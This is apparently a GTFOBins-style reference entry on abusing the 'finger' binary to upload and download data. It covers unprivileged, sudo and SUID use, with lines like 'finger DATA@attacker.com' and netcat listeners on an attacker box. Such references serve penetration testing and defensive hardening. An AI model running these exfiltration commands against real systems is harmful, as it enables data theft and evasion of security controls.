finger

Upload

This executable can upload local data.

CommentThe command hangs waiting for the remote peer to close the socket.
Unprivileged
This function can be performed by any unprivileged user.
```
finger DATA@attacker.com
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
finger DATA@attacker.com
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
finger DATA@attacker.com
```
ReceiverA TCP server can be used on the attacker box to receive the data.
```
nc -l -p 79 >/path/to/output-file
```

Download

This executable can download remote data.

CommentThe command hangs waiting for the remote peer to close the socket.
Unprivileged
This function can be performed by any unprivileged user.
```
finger x@attacker.com
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
finger x@attacker.com
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
finger x@attacker.com
```
SenderA TCP server can be used on the attacker box to send the data.
```
nc -l -p 79 </path/to/input-file
```